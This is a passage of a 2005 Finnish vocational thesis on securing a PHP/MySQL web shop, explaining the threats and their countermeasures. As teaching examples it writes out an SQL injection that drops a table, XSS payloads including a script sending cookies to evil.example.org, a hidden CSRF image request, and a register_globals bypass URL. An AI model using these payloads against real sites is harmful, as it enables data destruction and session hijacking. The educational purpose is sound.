VERKKOKAUPAN TIETOTURVALLISUUS

VERKKOKAUPAN TIETOTURVALLISUUS Tero Auralinna Opinnäytetyö Helsingin tekniikan alan oppilaitos AV-viestinnän osasto Audiovisuaalisen viestinnän perustutkinto Ohjaaja: Siiri Räihä Opponentti: Juri Saltbacka Kevät 2005

HELSINGIN TEKNIIKAN ALAN OPPILAITOS AV-viestinnän osasto Tero Auralinna TIIVISTELMÄ Audiovisuaalisen viestinnän perustutkinto Verkkokaupan tietoturvallisuus Opinnäytetyö 3.5.2005 26 (1) Verkkokaupassa tietoturvan merkitys korostuu, koska yrityksen koko liiketoiminta saattaa pyöriä verkossa tai olla hyvin vahvasti sidoksissa toimivaan verkkopalveluun. Tappiot voivat olla huomattavia jos palvelu joudutaan sulkemaan. Lisäksi asiakkaiden henkilö- tai luottokorttitiedot saattavat olla vaarassa. Tämän opinnäytetyön tarkoituksena oli rakentaa tietoturvallinen ja käytettävä verkkokauppa PHP:n ja MySQL-tietokannan avulla, ja selvittää erilaisia turvallisuusuhkia verkkokaupan toiminnalle ja käyttäjälle. Mahdollisia uhkia ovat muun muassa vahingollisen datan syöttäminen verkkokaupan järjestelmiin, käyttäjien liian heikot salasanat, kirjautuneen käyttäjän identiteetin varastaminen ja ohjelmistoissa ilmenevät haavoittuvuudet. Näitä uhkia voidaan välttää ja niiden vaikutuksia minimoida luotettavilla ja oikein säädetyillä, ajantasaisilla ohjelmistoilla, käyttäjän ja palvelimen välisen tiedonsiirron salaamisella sekä syötteiden huolellisella tarkistamisella. Tekemässäni verkkokaupassa kaikki yleisimmät tietoturvauhkat on torjuttu, käyttäjäystävällisyyden siitä kuitenkaan kärsimättä. ABSTRACT In electronic business information security is highlighted because company s entire business might run only on Internet or at least be very covenant with Internet. Defeats could be very huge if the whole network service must run down. Customer personal details or credit card information might be in danger also. The purpose of this diploma work was to build secure and usable e-shop with PHP and MySQLdatabase. Another interest was to survey security threats for e-shop and customers. Among other things injecting harmful data to e-shop, weak passwords, stealing identity of logged in customer and vulnerabilities of software are possible security threats. These threats can be avoided with up-to-date software which is reliable and rightly configured, secured connection between client and server and carefully checked user inputs. In my e-shop all security threats are blocked without losing any usability. verkkokauppa, tietoturva, PHP, MySQL, tietoturvallinen ohjelmointi

SISÄLLYSLUETTELO 1 JOHDANTO 1 2 VERKKOKAUPASTA JA TIETOTURVASTA 1 3 SSL-SALATTU YHTEYS 4 4 HYÖKKÄYSMETODIT 6 4.1 SQL-injection 6 4.2 Cross-Site Scripting 7 4.3 Cross-Site Request Forgeries 8 4.4 Istuntoihin kohdistuvat hyökkäykset 10 5 WWW-PALVELIN 12 5.1 Apache 12 5.2 PHP 13 5.3 MySQL 15 6 TURVALLINEN OHJELMOINTI 15 6.1 Välimuisti 16 6.2 Virheilmoitukset 17 6.3 Salasanat 18 6.4 Syötteiden tarkistus 19 6.5 Sisäänkirjautuminen ja kirjautumisen tarkistus 21 7 LOPUKSI 24 LÄHTEET 26 LIITTEET

1 JOHDANTO Tein kevään 2005 aikana opinnäytetyöksi verkkokaupan. Koska tarkoituksenani oli oppia paremmin PHP 1 -ohjelmointia ja MySQL-tietokannan käyttöä, oli verkkokauppa monipuolisine toimintoineen täydellinen valinta opinnäytetyön aiheeksi. Lisäksi halusin perehtyä verkkokauppoihin yleisesti, niiden käytettävyyteen ja erityisesti tietoturvaan. Tavoitteenani oli tehdä tietoturvallinen ja tulevaisuudessa helposti laajennettava verkkokaupan runko. Havainnollistaakseni paremmin verkkokaupan toimintaa tein sen kuvitteelliselle digitaaliseen kuvaukseen erikoistuneelle liikkeelle (ks. liite 1). Yksi tavoitteistani oli, että verkkokauppa on helposti muunnettavissa erilaisten tuotteiden tarpeisiin. Kirjallisessa osassa olen perehtynyt lähinnä verkkokaupan tietoturvallisuuteen vaikuttaviin asioihin LAMP 2 -ympäristössä. Käsittelen palvelimen asetuksia, salatun yhteyden käyttämistä sekä turvallista PHP-ohjelmointia. Kerron myös lyhyesti yleisimmistä verkkopalveluun liittyvistä murtautumis- ja hyökkäysmenetelmistä sekä niiltä suojautumisesta. 2 VERKKOKAUPASTA JA TIETOTURVASTA Verkkokaupasta on tullut tärkeä osa yritysten sähköisen kaupankäynnin strategiaa. Perinteiseen kaupankäyntiin verrattuna verkkokaupankäynnillä on monia etuja, niin asiakkaille kuin yrityksellekin. Asiakkaan kannalta etuja ovat aukioloaika 24 tuntia vuorokaudessa, helpottunut hinta- ja tuotevertailu sekä ostosten tekemisen helppous. Kauppa on vain muutaman hiiren klikkauksen päässä, vaikka sen fyysinen sijainti olisikin maapallon toisella puolella. Lisäksi tilauksen käsittelyvaihetta voidaan usein seurata yrityksen verkkosivuilta. 1 PHP on C-kielen kaltainen, palvelinpuolen skriptikieli. PHP:tä käytetään dynaamisten wwwsivujen tuottamiseen. 2 Linux, Apache, MySQL, PHP

2 Yritykselle verkkokauppa mahdollistaa pienempien varastojen ylläpidon. Tuotteita voidaan tilata sitä mukaan kun tilauksia vastaanotetaan. Henkilöstön tarve on vähäistä verkkokaupassa, jonka toiminnot on tehokkaasti liitetty logistiikkaan ja maksupalveluihin. Näin myös inhimillisten virheiden mahdollisuus vähenee. Verkossa toimivaan kauppaan voidaan liittää uusia palveluja, kuten tuotearvosteluja ja linkkejä valmistajien sivuille. Lisäksi Internet tarjoaa monipuolisia tapoja tuote-esittelyjen tekemiseen. Verkkokaupan asiakkaiden tilauksia voidaan seurata kätevästi ja heille on helppo osoittaa kohdennettua mainontaa. Lisäksi verkkokaupalla tavoitetaan uusia asiakkaita. (http://moodle.wasalab.com/file.php/2/luennot/edut.html. Luettu 11.3.2005.) Verkkokauppa on yksinkertaisimmillaan vain tuoteluettelo ja tilauslomake, monimutkaisimmillaan se sisältää tehokkaita hakutoimintoja, ostoskorin, useita maksutapoja sekä automatisoidun ylläpidon ja integraation yrityksen muihin järjestelmiin. Yksi verkkokaupan menestymiseen vaikuttavista tekijöistä on tietoturva ja se, miten turvalliseksi ja helpoksi asiakkaat mieltävät ostokokemuksen. Internet ei valitettavasti ole turvallinen paikka. Aina löytyy joku, jota kiinnostaa yrittää saada aikaan ongelmia joko rahan ansaitsemistarkoituksessa, maineen saavuttamiseksi tai vain huvin vuoksi. Tietoturvalla tarkoitetaan tietojen, järjestelmien, palvelujen ja tietoliikenteen asianmukaista suojaamista sekä normaali- että poikkeusoloissa hallinnollisilla, teknisillä ja muilla toimenpiteillä. Tietojen luottamuksellisuutta, eheyttä ja käytettävyyttä turvataan laitteisto- ja ohjelmavikojen, luonnontapahtumien sekä tahallisten, tuottamuksellisten tai tapaturmaisien tekojen aiheuttamilta uhilta ja vahingoilta. (http://www.tietoturvapalvelu.com/tietoturva.htm. Luettu 11.3.2005.) Tietoturva muodostuu seuraavista elementeistä: luottamuksellisuus, eheys, käytettävyys ja kiistämättömyys. Luottamuksellisuudella tarkoitetaan sitä, että tieto, järjestelmä tai toiminto on vain niiden henkilöiden tai prosessien saatavissa, joilla siihen on oikeus. Eheys tarkoittaa, että ulkopuoliset eivät

3 pääse muuttamaan tietoa. Eheys voi särkyä myös tahattomasti, esimerkiksi tiedonsiirtoprosessin virheen takia. Käytettävyydellä ymmärretään, että tiedot ovat aina käytettävissä tai saatavilla kun niihin oikeutettu taho niitä tarvitsee. Kiistämättömyys tarkoittaa, ettei kukaan tiedonsiirto- tai tietojenkäsittelytapahtuman osapuoli pysty kiistämään osallisuuttaan kyseiseen tapahtumaan. Tarve kiistämättömyydelle tulee esiin varsinkin sähköisessä kaupankäynnissä, jossa ostotapahtuman vaiheet on pystyttävä kiistattomasti todistamaan. Tietoturvan merkitys korostuu koko ajan, kun yhä useammat palvelut siirtyvät Internetiin. (http://www.tietoturvapalvelu.com/tietoturva.htm. Luettu 12.3.2005. http://www.uku.fi/tike/tietoturva/tietoturva_yliopistossa.shtml. Luettu 12.3.2005.) Verkkopalvelussa korkea tietoturva saavutetaan oikein asennetulla ja säädetyllä palvelimella, luotettavilla ja ajantasaisilla ohjelmistoilla, asiakkaan ja palvelimen välisen tiedonsiirron salaamisella sekä asiansa osaavalla ylläpidolla. Osa tietoturvasta kuuluu myös asiakkaille, joiden on säilytettävä tunnuksensa niin, etteivät ne päädy ulkopuolisten käsiin. Verkkopalvelun tietoturvaratkaisut täytyy tasapainottaa käytettävyyden kanssa. Istuntojen vanheneminen, pakottaminen monimutkaisiin salasanoihin, kulunvalvonta ynnä muu sellainen hankaloittavat palvelun käyttämistä. Kuva 1. Kuva Filmifriikin sivuilta, jossa tilaus keskeytyi virheilmoitukseen käyttöistunnon vanhenemisesta.

4 Ohjelmistoja suunniteltaessa turvallisuusnäkökulmat on otettava huomioon alusta asti. Käyttäjältä tulevan datan käsittely ja tarkistus on tärkein asia wwwohjelmistojen turvallisuudessa. Tulee olettaa, että kaikki data on vahingollista niin kauan, kunnes se on käsitelty ja todettu harmittomaksi. 3 SSL-SALATTU YHTEYS SSL (Secure Sockets Layer) on Netscapen kehittämä protokolla TCP/IP 3 - yhteyksien suojaamiseksi. Sen avulla voidaan tunnistaa palvelin luotettavaksi sekä salata verkon yli lähetettävä data. SSL on yleinen protokolla kaikilla wwwsivuilla, joilla liikenne on tarpeen salata. Henkilötietoja, luottokortin numeroita ja kirjautumistunnuksia sisältävä liikenne tulisi salata aina. (http://www.cc.jyu.fi/~anasimo/ssl2.htm. Luettu 13.3.2005.) Itselläni ei ollut mahdollisuutta käyttää SSL-salausta opinnäytetyössäni palveluntarjoajastani johtuen. Kuva 2. Salatussa yhteydessä URL alkaa http:n sijaan https (http://www.cc.jyu.fi/~anasimo/ssl2.htm. Luettu 13.3.2005). SSL-salattua yhteyttä tulisi käyttää vain niillä sivuilla, joilla arkaluontoisia tietoja välitetään, sillä se kuormittaa palvelinta huomattavasti enemmän kuin tavallinen yhteys. Kun palvelimella käytetään SSL-salattua yhteyttä, tarvitaan salausavain, jolla liikenne salataan. Salausavain löytyy sertifikaatista, josta löytyy myös tietoja palvelimesta sekä sertifikaatin myöntäneen tahon allekirjoitus. Allekirjoitus varmentaa, että palvelimen ylläpitäjä on varmistettu luotettavaksi. Sertifikaatteja myöntävät muun muassa Thawte, VeriSign, SecureSign ja Entrust. Sertifikaatin 3 TCP/IP (Transmission Control Protocol / Internet Protocol) on Internet-liikennöintiin käytetty usean tietoverkkoprotokollan yhdistelmä (http://fi.wikipedia.org/wiki/tcp/ip. Luettu 6.4.2005).

5 voi myös tehdä itse. Itse tehty sertifikaatti soveltuu lähinnä yritysten, koulujen tai muiden yhteisöjen sisäiseen käyttöön, esimerkiksi intranetiin. Kuva 3. Sampo-pankin SSL-sertifikaatti (https://www511.sampo.fi/a56/sampo_representation/representationapp. Luettu 11.4.2005). Sovelluksien ohjelmoimisen kannalta SSL ei aiheuta muutoksia. Palvelin ja selain hoitavat liikenteen salaamisen ja purkamisen, joten www-ohjelmien koodissa asiaan ei tarvitse kiinnittää huomiota. (http://www.cs.jyu.fi/~kolli/itk215/luennot/luento8/. Luettu 13.3.2005.)

6 4 HYÖKKÄYSMETODIT 4.1 SQL-injection SQL-injection on tekniikka, jolla yritetään ujuttaa omia SQL-lauseita 4 suoritettavaksi muun koodin ohessa. Tältä ikävältä haitalta on onneksi kohtalaisen helppo suojautua tarkistamalla ja suodattamalla käyttäjältä tuleva data huolellisesti. Data voi tulla evästeistä (engl. cookie), lomakkeelta tai osoiteriviltä. Alla on esimerkki, jolla pystyttäisiin pudottamaan koko käyttäjät-taulu tietokannasta. Esimerkki 1. Esimerkin ohjelma käyttää alla olevaa SQL-lausetta. SELECT * FROM kayttajat WHERE tunnus = '{$_POST['tunnus']'; Käyttäjä syöttää lomakkeen tunnuskenttään seuraavan SQL-koodin. '; DROP TABLE kayttajat; SELECT * FROM kayttajat WHERE tunnus = ' Tietokannalle menevä koodi on tällöin: SELECT * FROM kayttajat WHERE tunnus = ''; DROP TABLE kayttajat; SELECT * FROM kayttajat WHERE tunnus = ''; Komento DROP TABLE kayttajat poistaa kayttajat-nimisen taulun tietokannasta. SQL-injection tekniikan käyttämistä voidaan estää tekemällä tietokantaan käyttäjä, jonka oikeudet toimia ovat niin pienet kuin mahdollista. Sallitaan vain SELECT, UPDATE ja INSERT, jolloin esimerkiksi taulujen tuhoaminen ei ole mahdollista. Lisäksi ajetaan kaikki käyttäjältä tuleva data, 4 SQL (Structured Query Language), on standardoitu kieli relaatiotietokantojen käyttämiseen.

7 mysql_real_escape_string-funktion läpi, joka lisää tiettyjen vahingollisten merkkien eteen kenoviivan (esimerkiksi \ \ ). Näin niillä ei enää ole vaikutusta SQL-lauseen rakenteeseen. Vahingollisia merkkejä voidaan myös poistaa tai palauttaa virhe, jos sellaisia esiintyy. Lisäksi lomakkeiden kenttiin kannattaa asettaa rajoitus tekstin pituudelle, ja tarkistaa se vielä strlen-funktiolla, jolloin monimutkaisia ja pitkiä koodinpätkiä ei pysty järjestelmään syöttämään. Numeraaliset arvot kuten, ikä tai postinumero, kannattaa varmistaa numeroiksi is_int- tai is_numeric-funktiolla. 4.2 Cross-Site Scripting Cross-Site Scripting (XSS) -haavoittuvuudet ovat yleinen ongelma webohjelmissa. Monet avoimen lähdekoodin PHP-ohjelmistot kärsivät toistuvasti tästä ongelmasta. Muun muassa suositussa keskustelufoorumissa, phpbb:ssä on havaittu XSS-haavoittuvuuksia, jotka on mahdollista toteuttaa koodattujen 5 URL:ien 6 avulla. Toinen avoimen lähdekoodin ohjelma, josta hiljattain on löytynyt XSS-haavoittuvuus, on suosittu verkkokauppasovellus: oscommerce. http://www.victimsite.com/contact_us.php?&name=1&email=1&enquiry=%3c/t extarea%3e%3cscript%3ealert('w00t');%3c/script%3e Listaus 1. Esimerkki XSS-haavoittuvuudesta oscommerce-sovelluksen yhteydenottosivulla. Enquiry-parametrin kautta järjestelmään pystyttiin syöttämään vahingollista koodia. (http://www.oscommerce.com/community/bugs,2422/. Luettu 8.4.2004.) XSS käyttää hyväkseen käyttäjän luottamusta nettisivuihin ja niiden sisältöön. Vaikka käyttäjä ei luottaisikaan nettisivun sisältöön, saattaa selain niin tehdä, esimerkiksi lähettämällä evästeet pyynnöstä. XSS on ongelma kaikilla sivuilla, joilla sivusto ottaa vastaan käyttäjien syötteitä ja esittää sitä sivuilla. Esimerkkinä erilaiset keskustelupalstat. Jos käyttäjät pystyvät vapaasti sisällyttämään viesteihinsä HTML- ja JavaScript-koodia, on riski muille vahingollisen datan syöttämiseen ilmeinen. Yksikin HTML-tagi 5 URL koodauksella (engl. URL encoding) vaihdetaan URL:ssa olevat erikoismerkit lukuyhdistelmiin. Esimerkiksi seuraavat merkit: < >, korvataan URL:ssa merkeillä %3c ja %3e. 6 Uniform Resource Locator, käytetään osoittamaan WWW-dokumentteja.

8 saattaa sotkea sivun rakenteen. JavaScriptillä voidaan saada jo paljon vahingollisempia asioita aikaan. XSS-hyökkäykset voivat olla mitä vain vahingollisten skriptien ajamista, koodien sisällyttämistä, evästeiden varastamista jne. Seuraavalla esimerkillä (listaus 2) voidaan ohjata käyttäjä toiselle sivustolle ja sisällyttää kaikki dokumenttiin liittyvät evästeet URL:n cookies-parametriin. Uudelleen ohjatulla sivulla voitaisiin cookies-parametrin sisältö ottaa talteen. Jos eväste sisältäisi esimerkiksi käyttäjän istunto-id:n edelliseltä sivustolta, voitaisiin sen avulla yrittää varastaa käyttäjän identiteetti verkkopalvelussa (tästä lisää luvussa 4.4). <script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie </script> Listaus 2. JavaScriptillä voidaan ohjata käyttäjä uuteen osoitteeseen ja varastaa mahdolliset evästeet. (Shiflett 2004, 22.) XSS-haavoittuvuudelta voi melko helposti välttyä suodattamalla ja tarkistamalla kaikki käyttäjältä tuleva data, niin ettei mitään tageja tai skriptejä pääse datan mukana. 4.3 Cross-Site Request Forgeries Cross-Site Request Forgeries (CSRF) tyyppiset hyökkäykset käyttävät hyväkseen sivustojen luottamusta sivuston käyttäjään. Niiden tarkoituksena on saada aikaan kiellettyjä ja ei-toivottuja toimintoja sivuilla, jossa uhriksi valitulla käyttäjällä on jonkinlaisia korkeampia oikeuksia. Uhri suorittaa tietämättään hyökkääjän muodostaman HTTP-pyynnön. CSRF-hyökkäykset ovat vaikeampia toteuttaa ja huomattavasti harvinaisempia kuin esimerkiksi XSS. Niistä on myös kehittäjille vähemmän tietoa tarjolla, ja niitä vastaan on vaikeampi suojautua. (Shiflett 2004, 25.)

9 Seuraavaksi esimerkki (listaus 3) siitä, miten CSRF-hyökkäys voitaisiin toteuttaa. Henkilö, joka on kirjautunut sisään yrityksen nettisivujen hallinnointiin, saa sähköpostiinsa (joka renderöi HTML:n) viestin, johon on sisällytetty seuraava HTML-koodi. Koska henkilö on kirjautunut sisään ja hänellä on oikeudet poistaa tuotteita, saattaisi alla oleva koodi toimia. <img src="https://esimerkki.com/admin/tuote_id=2&poista=1&varmistus=1" height="0" width="0" /> Listaus 3. CSRF-esimerkkikoodi CSRF-hyökkäyksien mahdollisuutta voidaan yrittää estää käyttämällä lomakkeissa GET-metodin 7 sijasta POST-metodia 8 ja asettamalla PHP:n asetus register_globals pois päältä. Lisäksi erilaisten toimintojen tekeminen tarpeeksi mutkikkaiksi estää vahingollisten CSRF-hyökkäysten toimimisen. (Shiflett 2004, 29.) Käyttäjällä on suuri vastuu CSRF:n torjunnassa. Seuraavien ohjeiden noudattaminen estää selainta tekemästä harmillisia, ei-toivottuja HTTPpyyntöjä: Käytä sähköpostiohjelmaa, joka ei renderöi HTML:ää käytä uutisryhmänlukijaa, joka ei ole sidoksissa selaimeen kirjaudu ulos kaikilta sivuilta, vieraillessasi oudoilla sivuilla tai lukiessasi epäilyttäviä sähköpostiviestejä aseta salasanojen ja tunnuksien muistaminen selaimesta pois päältä älä käytä sivustojen muista kirjautuminen -ominaisuutta. (http://www.tux.org/~peterw/csrf.txt. Luettu 16.3.2005.) 7 GET-metodilla lähetetään tiedot URL:n osana. Lähetetyt tiedot saadaan PHP:llä käyttöön $_GET[ ]-taulukosta. 8 POST-metodilla tiedot lähetetään vasta URL:n jälkeen. Tiedot saadaan PHP:llä käyttöön $_POST[ ]-taulukosta. Lomakkeissa suositellaan käytettäväksi POST-metodia.

10 4.4 Istuntoihin kohdistuvat hyökkäykset Useiden sivustojen toiminnallisuus perustuu istuntojen 9 käyttämiseen. Tämä tekee istuntokohtaisesta id-numerosta suositun kohteen hyökkäyksille. Verkkopalvelussa voidaan saada toisen henkilön identiteetti haltuun varastamalla id-numero. (Kolšek 2002, 2.) Istunnon id:tä voidaan kuljettaa joko URL:n perässä (kuva 4) tai evästeessä (kuva 5). Eväste on suosituksien mukaan tietoturvallisempi tapa, ja sitä olen itsekin käyttänyt verkkokaupassani. Tämä tosin aiheuttaa sen, että sisäänkirjautuminen ei onnistu ilman evästeitä. Kuva 4. Istunnon id-numeroa voidaan kuljettaa URL:ssa. Kuva 5. Eväste, johon on tallennettu istunnon id. 9 Istunto (engl. session) on tapa, jolla voidaan antaa jokaiselle sivustolle tulevalle käyttäjälle ainutkertainen istuntokohtainen id-numero, ja tallentaa tietoja istuntomuuttujiin. Istuntoihin talletettua dataa säilytetään palvelimella. Istunnon id-numero talletetaan joko evästeeseen tai sitä kuljetetaan URL:n mukana. (http://fi.php.net/session. Luettu 30.03.2005.)

11 Istuntoihin kohdistuvia hyökkäyksiä on kolmenlaisia: istunnon kaappaus (capture), arvaaminen (prediction) ja muuttaminen etukäteen (fixation). (Shiflett 2004, 39.) Istunnon id-tunnistetta on käytännössä mahdoton arvata. PHP:n natiivilla istuntomekanismilla luotu id on äärimmäisen satunnainen ja vaihtoehtoja on niin paljon, että aikaa kuluisi liian kauan id:n selvittämiseen. Esimerkki id:stä: e82559f2a6e1bb180adf185b4415b4b5. (Shiflett 2004, 39.) Helpoin tapa on tarjota käyttäjälle id valmiina, ennen kuin hän kirjautuu palveluun (Shiflett 2004, 39). Tällöin hyökkääjän ei tarvitse selvitellä id:tä, koska hän tietää sen jo. Hän voi suoraan kyseistä id:tä käyttämällä esittäytyä palvelulle kirjautuneena käyttäjänä tietämättä tämän tunnusta tai salasanaa. Jos hyökkääjän kohteena oleva palvelu hyväksyy istunnon id:n GET-parametrina, täytyy hänen saada uhri klikkaamaan linkkiä, jossa on hänen asettamansa id. Jos palvelu hyväksyy id:n vain evästeestä, on eväste saatava lähetettyä uhrille jotenkin, esimerkiksi käyttämällä mahdollista XSS-haavoittuvuutta, ja tarjoilemalla eväste JavaScriptillä. Istunnon id-numero voidaan varastaa useilla eri tekniikoilla: saastuttamalla uhrin kone sopivalla troijalaisella, XSS-haavoittuvuuden avulla tai selvittämällä id uhrin verkkoliikenteestä. Mikäli id kulkee URL:n mukana, voidaan käyttäjä ohjata toiselle sivulle ja napata viittaaja (engl. referrer) talteen. (http://www.technicalinfo.net/papers/webbasedsessionmanagement.html. Luettu 17.3.2005.) Istuntojen kaappaamista voidaan hankaloittaa uudistamalla istunnon id onnistuneen kirjautumisen jälkeen, sekä kirjautumisen tarkistuksen yhteydessä tarkistamalla, että IP-osoite ja user-agent-määre 10 ovat samoja kuin kirjautumishetkellä. 10 User-agent on http-otsake, joka kertoo palvelimelle pyynnön lähettäneen asiakasohjelman nimen. Sisältää usein käyttöjärjestelmän ja selaimen tiedot. Esimerkiksi Mozilla/5.0 (Windows; U; Windows NT 5.1; en-us; rv:1.7.5) Gecko/20041107 Firefox/1.0.

12 5 WWW-PALVELIN Itselläni ei juurikaan ollut mahdollisuutta vaikuttaa palvelimen asetuksiin, koska verkkokauppani on tehty daug.netin (http://www.daug.net/) palvelimelle. Tässä luvussa kerron kuitenkin lyhyesti joistakin tekemistäni huomioista, joilla wwwpalvelinta saadaan muokattua tietoturvallisemmaksi. Kaavio 1. Rakennekaavio LAMP-palvelimesta Verkkokauppa kannattaa pystyttää omalle palvelimelleen, jota ei ole jaettu muiden käyttäjien kanssa. Näin järjestelmään voidaan sallia pääsy vain luotettaville tahoille. Palomuurilla on syytä rajoittaa verkkoliikennettä niin, että vain yhteydet tarvittaviin portteihin (esimerkiksi HTTP 80, SSL 443 ja SSH 22) sallitaan. 5.1 Apache Apachea voidaan ajaa chroot-ympäristössä, eristettynä muusta tiedostojärjestelmästä, jolloin Apachen kautta tapahtuvalla murtautumisella ei päästä käsiksi muihin osiin järjestelmää.

13 Apachen ServerSignature asetus kannattaa asettaa pois päältä, jolloin Apachen versionumero ei näy palvelimen tekemillä sivuilla (esimerkiksi 404- virhe-sivut). Näin kukaan ei voi selvittää versionumeron perusteella, mitä mahdollisia haavoittuvuuksia palvelinohjelmisto sisältää. Muidenkin ohjelmistojen versionumeroiden näkymistä kannattaa välttää. (http://www.hudzilla.org/phpbook/read.php/17_1_5. Luettu 11.3.2005.) 5.2 PHP Register_globals on asetus, joka kannattaa pitää pois päältä. PHP:n versiosta 4.2.0 lähtien asetus on ollut oletuksena pois päältä. Jos register_globals on päällä, ei voida olla varma, mistä muuttujien arvot tulevat (listaus 4). PHP ei vaadi muuttujien alustamista, vaikka se suositeltavaa onkin. if (authenticated_user()) { $authorized = true; if ($authorized) { include "/highly/sensitive/data.php"; Listaus 4. Esimerkki register_globals asetuksen vaikutuksista. (http://fi.php.net/register_globals. Luettu 12.3.2005.) Asiaton henkilö voi syöttää $authorized-muuttujan arvon URL:n parametriksi (http://www.esimerkki.com/jotain/index.php?authorized=true) ja päästä käsiksi suojatuksi tarkoitettuun dataan, mikäli käytetään yllä olevan kaltaista esimerkkiä register_globals-asetus päällä. Allow_url_fopen-asetus mahdollistaa URL:n käyttämisen esimerkiksi includefunktion kanssa. Tämä saattaa muodostaa riskin väärinkäytöksille, jos huolimattoman ohjelmoinnin tuloksena kuka tahansa pystyy syöttämään skriptille vahingollisen tiedoston osoitteen. Safe mode on PHP:n asetus, jolla on pyritty ratkaisemaan jaettuihin palvelimiin kohdistuvia ongelmia. Safe mode -asetuksen ollessa päällä PHP tarkistaa, että

14 ajettavan tiedoston omistaja on sama kuin niiden tiedostojen, joita yritetään suorittaa tai liittää. Safe mode -asetuksella voidaan myös poistaa käytöstä tiettyjä tiedostojen käsittelyyn liittyviä funktioita sekä asettaa tietyt hakemistot, joista tiedostojen liittäminen tai suorittaminen onnistuu. (http://fi.php.net/features.safe-mode. Luettu 21.3.2005.) Esimerkki (listaukset 5 ja 6), jossa script.php (luotu eri tunnuksella kuin passwdtiedosto) yrittää readfile-funktiolla lukea passwd-tiedoston sisällön. (Alkuperäinen esimerkki: http://fi.php.net/features.safe-mode. Luettu 21.3.2005.) -rw-r--r-- 1 root root 1412 Feb 5 03:00 passwd -rw-r--r-- 1 lgt lgt 34 Mar 21 09:32 script.php Listaus 5. Hakemistolistaus Warning: readfile(): SAFE MODE Restriction in effect. The script whose uid is 1001 is not allowed to access /etc/passwd owned by uid 0 in /home/lgt/public_html/script.php on line 2 Listaus 6. PHP:n tuottama virheilmoitus siitä, että safe mode rajoittaa passwd-tiedoston lukemista. Kenenkään ei tarvitse tietää, että sivuston toiminnallisuudet on toteutettu PHP:llä. PHP:n asetuksista kannattaa laittaa expose_php pois päältä, jolloin PHP:n käyttöä ei voi paljastaa syöttämällä tietty parametri URL:n perään. Tiedostopääte.php voidaan vaihtaa johonkin toiseen päätteeseen. Esimerkiksi kaikki.html tiedostot voidaan asettaa ajettavaksi PHP-tulkin läpi (ks. listaus 7). AddType application/x-httpd-php.htm.html Listaus 7. Rivi Apachen httpd.conf-tiedostoon, jolla.htm- ja.html-tiedostot asetetaan ajettavaksi PHP:llä. Lisäksi voidaan käyttää Apachen Rewrite-moduulia (listaus 8). Sen monipuolisista ominaisuuksista yksi hyödyllisimmistä on URL:n siistiminen. Parametreja sisältävät URL:t voidaan naamioida näyttämään tavallisilta hakemistoilta. Tietokanta-pohjaisissa sivustoissa URL:t saattavat kasvaa järjettömän pitkiksi. Selkeät URL:t ovat osa sivuston käytettävyyttä. Lisäksi hakukoneet eivät aina ymmärrä monimutkaisia, parametreja sisältäviä

15 osoitteita, jolloin ne eivät kykene indeksoimaan sivun sisältöä. (http://www.pikseli.biz/blog/archive/2003/10/21/htaccess_haltuun/index.php?s= 7. Luettu 21.3.2005.) URL normaalisti: http://lgt.users.daug.net/dimagia/index.php?sivu=tuotteet&tr=dktarvikk eet&tm=canon&tuote=13 URL Rewrite-moduulilla käsittelyn jälkeen: http://lgt.users.daug.net/dimagia/tuotteet/dktarvikkeet/canon/13 RewriteEngine On RewriteRule ^([a-z]+)/([a-z]+)$ index.php?sivu=$1&tr=$2 RewriteRule ^([a-z]+)/([a-z]+)/$ index.php?sivu=$1&tr=$2 Listaus 8. Esimerkki rewrite-moduulin käytöstä 5.3 MySQL MySQL-tietokantaan kannattaa sallia yhteydet vain localhost 11 -osoitteesta tai sen koneen IP-osoitteesta, jossa PHP:tä ajetaan. Tietokantaan kannattaa luoda käyttäjä, jolle antaa vain tarvittavat oikeudet. Useimmissa tapauksissa SELECT, UPDATE ja INSERT riittävät. 6 TURVALLINEN OHJELMOINTI POST-metodin käyttö aina kun se on mahdollista GET-metodin sijasta, parantaa tietoturvaa, vähentämällä Cross-Site Request Forgeries -hyökkäysten mahdollisuutta (ks. luku 4.3). Lisäksi käyttämällä POST-metodia pysyy lähetettävä URL lyhyempänä, kun siihen ei tarvitse sisällyttää kaikkia lomakkeen tietoja. 11 Osoite, jolla viitataan koneeseen itseensä (sama kuin 127.0.0.1).

16 Tiedostot, jotka sijaitsevat julkisessa HTML-hakemistossa, ovat kaikkien saatavilla. Tiedostot voidaan suojata Apache-ympäristössä htaccessmenetelmällä tai sijoittaa ne julkisen hakemiston ulkopuolelle, jolloin kukaan ei pääse niihin käsiksi suoraan www-selaimella. Tarvittavia tiedostoja voidaan kuitenkin käyttää include- tai require-funktioilla. MySQL-yhteyteen tarvittavat tunnukset (listaus 9) ovat hyvä esimerkki tärkeästä tiedosta, joka tulisi suojata. <?php $db = "lgt"; // Tietokannan nimi $host = "localhost:3306"; // Tietokannan osoite $user = "lgt"; // Käyttäjätunnus $passwd = "xxxxxxxxx"; // Salasana $mysql_yhteys = @mysql_connect($host, $user, $passwd) or die("tietokantavirhe"); @mysql_select_db($db, $mysql_yhteys) or die("tietokantavirhe");?> Listaus 9. Tiedosto, joka sisältää verkkokaupan MySQL-yhteyden tunnukset. Tiedosto sijaitsee julkisen HTML-hakemiston ulkopuolella turvassa uteliailta. Tapahtumien tallentaminen lokitiedostoihin on tärkeää mahdollisten väärinkäytösten takia. IP-osoitteen perusteella voidaan selvittää murtautujan tai väärinkäytösten suorittajan henkilöllisyys. 6.1 Välimuisti Istuntojen avulla luotuja dynaamisia sivuja, kuten käyttäjän tunnistamista, ei saisi tallentaa selaimen tai välityspalvelimen välimuistiin. Tallentaminen välimuistiin aiheuttaa tietoturvariskin, sillä vaikka käyttäjä olisikin kirjautunut oikein ulos palvelusta, päästään selaimen edellinen sivu -painikkeella katsomaan tietoja, joita käyttäjä on katsonut. Tämä tietoturva-aukko on kuitenkin helposti korjattavissa käyttämällä header-funktiota. Seuraavalla esimerkillä (listaus 10) olen estänyt verkkokaupassani selainta ja välityspalvelinta tallentamasta sivun sisältöä välimuistiin. Esimerkki toimii

